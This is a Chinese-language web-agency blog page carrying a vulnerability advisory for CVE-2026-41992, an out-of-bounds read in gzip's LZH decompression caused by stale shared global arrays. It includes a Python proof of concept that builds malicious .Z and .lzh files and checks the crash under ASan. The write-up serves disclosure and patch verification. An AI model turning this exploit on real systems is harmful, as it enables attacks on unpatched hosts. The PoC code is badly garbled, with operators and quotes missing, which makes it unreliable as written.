尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
CVE-2026-41992 — gzip LZH 解压共享全局数组越界读
CVE-2026-41992 — gzip LZH 解压共享全局数组越界读漏洞详情CVE: CVE-2026-41992 (CERT.PL 报告, 上游 commit 63dbf6b3 “don’t mishandle .lzh after .Z”)类型: 越界读 (CWE-125) — 未初始化/残留共享全局状态; NVD: “reads past the end of the allocated global buffer”受影响版本: gzip ≤ 1.14 (bug 自始存在)本机版本: 1.12-1ubuntu3.1修复版本: 1.12-1ubuntu3.2 (gzip 1.13,debian/patches/CVE-2026-41992.patch)触发原理gzip 单进程内跨文件共享全局数组prev(65536 项):deflate LZ77 哈希链 / unlzw LZW 前缀表 (tab_prefix prev,head prevWSIZE)unlzh.c 将其#define left prev / right head作 Huffman 树同一gzip -dc调用先解压恶意.Z(LZW), 再解压恶意.lzh(LZH) 时:.Z解码把prev[0..65535]填满 LZW 前缀表 — 攻击者完全可控.lzh的read_c_len()走 n0 分支:c_table[i]511;decode_c()取j511NC(511)后沿left/right走树精心构造.Z使prev[33279]32776→ 首步right[511]32776→次步right[32776]prev[3276832776]prev[65544]→越出 65536 项数组 8 项 (16 字节)复现 (实测)python3 poc.py# 生成 evil.Z evil.lzh 并跑全部验证# 对照1: gzip -dc evil.Z → RC0 (LZW 编码器合法)# 对照2: gzip -dc evil.lzh → RC0 (无 .Z 污染, walk 立即终止)# 触发: gzip -dc evil.Z evil.lzh → 系统版静默越界读# ASan: gzip-1.12-asan -dc evil.Z evil.lzh# → ERROR: AddressSanitizer: global-buffer-overflow# READ of size 2 ... 16 bytes after global variable prev (size 131072)# #0 decode_c unlzh.c:294# 修复版 (victim/build_fixed_asan.sh, memzero left/right): 无 ASan 报错证据: evidence.log; ASan 构建: victim/攻击几何 (PoC 核心).Z编码器复刻 unlzw.c 状态机: step j 起始free_ent254j, 宽度切换在j258/770/1794/3842/7938/16130/32514, resetbuf 归零 → baserel 位模型码流:c_10, c_2..c_5121..511, c_513..511,c_{33024}32776→ 条目33279 前缀 32776 →head[511]prev[33279]32776.lzh72 比特: blocksize1 | pt n0,c0 | cl n0,c511 | pp n0,c15 |dir1111 | 块结束标记 (16 位 0)修复建议升级至 1.12-1ubuntu3.2; 上游在 n0 分支memzero(left/right)使残留表不复用(上游注释: 保守修复, 未完全分析所有路径)。PoC#!/usr/bin/env python3# CVE-2026-41992 PoC: gzip LZH 解压共享全局数组越界读 — 纯标准库# # 原理 (NVD gzip 上游 commit 63dbf6b3 dont mishandle .lzh after .Z):# gzip 单进程内共享全局数组 prev (65536 项; deflate LZ77 哈希链 / unlzw LZW# 前缀表 tab_prefixprev; unlzh.c 将其 #define 为 left/right 作 Huffman 树),# 文件之间不重置。head[511]prev[WSIZE511]prev[33279]。# 1) 恶意 .Z (LZW): 构造代码流使条目 33279 的 prefix32776 →# prev[33279]32776 (head[511]prev[33279])# 2) 恶意 .lzh: read_c_len() n0 分支 c_table[i]511; decode_c() 取# j511NC 后按 left/right 走树: 首步 right[511]32776,# 下一步 right[32776]prev[3276832776]prev[65544] → 越出 65536 项# 全局数组 8 项 (16 字节) → 越界读 (NVD: reads past the end of the# allocated global buffer)# ASan 构建: 立即 global-buffer-overflow 中止; 系统 gzip (无插桩): 静默越界读。# 修复: 1.12-1ubuntu3.2 在 n0 分支 memzero(left/right) → walk 立即以 j0 终止。# importsubprocess, sys, os WORK/home/jay/.cve-work/CVE-2026-41992os.makedirs(WORK,exist_okTrue)os.chdir(WORK)print( 环境 )print(subprocess.run([gzip,--version],stdoutsubprocess.PIPE,stderrsubprocess.PIPE).stdout.decode(utf-8,replace).splitlines()[0])# ---------- 1. 构造恶意 .Z (LZW 压缩流, 无 block mode, maxbits16) ----------# 解码器 (unlzw.c): free_ent 初始 256; step j 起始 free_ent 254j;# 宽度切换: j258→10位, 770→11, 1794→12, 3842→13, 7938→14, 16130→15, 32514→16;# 条目 E 在 step jE-254 创建, prefix c_{j-1}; resetbuf 归零 posbits →# base(移出位)rel(缓冲内位) 模型N33040codes[0] list(range(1,512))[511]*(N -512)assert len(codes)N codes[33024-1]32776# c_{33024} → entry 33279 prefix32776 → head[511]prev[33279]32776# walk 第2步: right[32776]prev[3276832776]prev[65544] 越界 8 项assert codes[33024-1]25433024# LZW 有效性: code free_entbits[]base0rel0free_ent, n_bits, maxcode, maxmaxcode255,9,511,116def emit(code, width): global relforiinrange(width): bits.append((codei)1)relwidth for j in range(1,N1):if free_entmaxcode:nbn_bits*8rel2(rel-1)(nb-(rel-1nb)%nb)bits[0]*(rel2-rel)relrel2 orel3baseo*8rel-o*8n_bits1maxcodemaxmaxcode if n_bits16else(1n_bits)-1emit(codes[j-1],n_bits)free_ent1def pack_lsb(bits):outbytearray()for i in range(0,len(bits)-7,8):b0for k in range(8):b|bits[ik]k out.append(b)remlen(bits)%8if rem:b0for k in range(rem):b|bits[len(bits)-remk]k out.append(b)return bytes(out)evil_zbytes([0x1F,0x9D,0x10])pack_lsb(bits)with open(evil.Z,wb)as f:f.write(evil_z)print(f[] evil.Z 生成:{len(evil_z)} 字节({N} 个 LZW 码,c_{{33024}}32776))#----------2.构造恶意 .lzh(SCO LZH,magic0x1F0xA0)----------# 比特流(MSB-first):blocksize1|pt_len n0,c0|c_len n0,c511|# pp n0,c15|walk 方向1111|块结束标记 blocksize0(16位0→ decode_c 返 NC)payload[0]*15[1] payload[0]*5[0]*5payload[0]*9[1]*9payload[0]*4[1]*4payload[1]*24# walk 方向位冗余(窗口52..67全1→ 右支)payload[0]*16# 块结束标记(第2块 blocksize0→ decode_c 返 NC)assert len(payload)92def pack_msb(bits):outbytearray()acc,cnt0,0for b in bits:acc(acc1)|b cnt1if cnt8:out.append(acc);acc0;cnt0if cnt:out.append(acc(8-cnt))returnbytes(out)evil_lzhbytes([0x1F, 0xA0]) pack_msb(payload)with open(evil.lzh,wb)as f: f.write(evil_lzh)print(f[] evil.lzh 生成: {len(evil_lzh)} 字节 (72 比特触发流))# ---------- 3. 实跑验证 ----------print(\n 对照1: 仅解压 evil.Z (验证 .Z 编码器合法, 应快速退出 0) )r1subprocess.run([gzip,-dc,evil.Z],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout20)print(f RC{r1.returncode} 输出 {len(r1.stdout)} 字节)print(\n 对照2: 仅解压 evil.lzh (无 .Z 污染, 应快速退出 0) )r2subprocess.run([gzip,-dc,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout20)print(f RC{r2.returncode} 输出 {len(r2.stdout)} 字节)print(\n 触发: gzip -dc evil.Z evil.lzh (同一进程先 .Z 后 .lzh) )r3subprocess.run([gzip,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout15)print(f 系统版 RC{r3.returncode} (无插桩 → 越界读静默发生))print(\n ASan 版 (越界读插桩): 漏洞版 vs 修复版 )asan_binWORK /gzip-1.12-asan/gzipfixed_binWORK /gzip-1.12-asan-fixed/gzipifos.path.exists(asan_bin): r4subprocess.run([asan_bin,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout60)errr4.stderr.decode(utf-8,replace)print(f 漏洞版 ASan RC{r4.returncode})forlinerr.splitlines():ifglobal-buffer-overflowinl orREAD of sizeinl orSUMMARYinl\orlocatedinl: print( l.strip())ifos.path.exists(fixed_bin): r5subprocess.run([fixed_bin,-dc,evil.Z,evil.lzh],stdoutsubprocess.PIPE,stderrsubprocess.PIPE,timeout60)err5r5.stderr.decode(utf-8,replace)asan_errany(AddressSanitizerinlforlinerr5.splitlines())print(f 修复版 ASan RC{r5.returncode} ASan报错{asan_err} f(修复 n0 分支清空 left/right → walk 立即以 j0 终止, 无越界读))
RELATED

相关推荐

PHP文件包含漏洞深度解析:从LFI到临时文件竞争攻击实战

PHP文件包含漏洞深度解析:从LFI到临时文件竞争攻击实战

1. 从一道CTF题看文件包含漏洞的“进化”最近在复盘一些经典的CTF题目,特别是Web安全方向的,发现很多题目虽然年份不算久远,但其中蕴含的思路和技巧,至今仍有很强的学习价值。今天想和大家深入聊聊一道来自NPUCTF2020的题目&#…

📅 2026/10/8 2:10:00
电赛平衡滚球视觉方案:放弃YOLO,用OpenCV实现实时目标追踪

电赛平衡滚球视觉方案:放弃YOLO,用OpenCV实现实时目标追踪

这次我们来看一个在电子设计竞赛(电赛)中非常具体且关键的决策点:当平衡滚球这类控制类题目遇到视觉识别需求时,是否必须依赖YOLO这类复杂的目标检测模型?标题“26年电赛平衡滚球放弃yolo的第一个晚上”暗示了一个重要…

📅 2026/10/7 14:58:31
Linux 的门罗币“隐形黑客”如何偷偷借用你的服务器发财?

Linux 的门罗币“隐形黑客”如何偷偷借用你的服务器发财?

最新内容 微 信 搜索 公 众 号 网 络 研 究 观在大家的印象中,服务器如果被黑客攻陷拿去“挖矿”,通常会表现得非常“嚣张”:风扇狂转、CPU 占用率直接飙到 100%、系统卡得动弹不得。运维人员只要打开任务管理器,一眼就能抓个正着…

📅 2026/9/19 22:40:45
MORE NEWS

更多资讯

📰

MySQL读写分离与分库分表:Atlas中间件部署实战指南

我折腾MySQL中间件这几年,有一个很深的体会:大部分团队一开始根本不需要引入复杂的分布式数据库,一台主库配上几台只读从库,再架一层轻量级的访问代理,就能扛住绝大多数读写压力。这个代理层,在国内最经典、…

📰

考研计算机网络物理层:噪声对抗与信道生存实战指南

1. 这不是课本复述,而是考研物理层的实战拆解“计算机网络(考研)第二章 物理层”——看到这个标题,很多备考同学第一反应是:背概念、记公式、画分贝图、算奈氏准则和香农定理……然后发现做题时还是卡在“信道复用方式…

📰

MicroPython纯Python中文点阵字库:零依赖TFT显示方案

简介:本资源是一套专为MicroPython嵌入式开发设计的原创点阵字库及配套调用接口,面向STM32、ESP32等MCU平台的TFT显示屏开发者,解决中文显示缺乏轻量级、可移植字库方案的痛点。资源包含4种像素规格(1212/1616/2424/3232&#xff…

📰

葡萄酒评分统计建模:Wilcoxon检验与主成分分析实战

简介:这份资源是2012年全国大学生数学建模竞赛A题一等奖论文《葡萄酒的评价》的完整PDF文档,面向备战数学建模竞赛的高校学生、指导教师以及需要学习统计建模方法的读者,可用于赛题复盘、论文写作参考与方法迁移。压缩包内共1个PDF文件&#…

📰

开源可验证的代码评审范式:规则透明、执行可审计

1. 项目概述:这不是一个“工具”,而是一套可落地的开源代码评审范式“open-code-review”这个词乍看像某个 GitHub 仓库名,但实际它代表的是一种正在快速成型的新型工程实践——把传统上依赖人工经验、流程松散、结果难追溯的代码评审&#x…

📰

CTF Web入门题实战认知地图:从PHP弱类型到WAF绕过

1. 这不是“刷题清单”,而是一份Web安全初学者的实战认知地图你点开这个标题,大概率正卡在ctfshow-web入门题目的某个关卡里:可能是第32题那个看似简单的PHP弱类型绕过,反复提交却始终返回“no”;也可能是第37题的SQL注…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬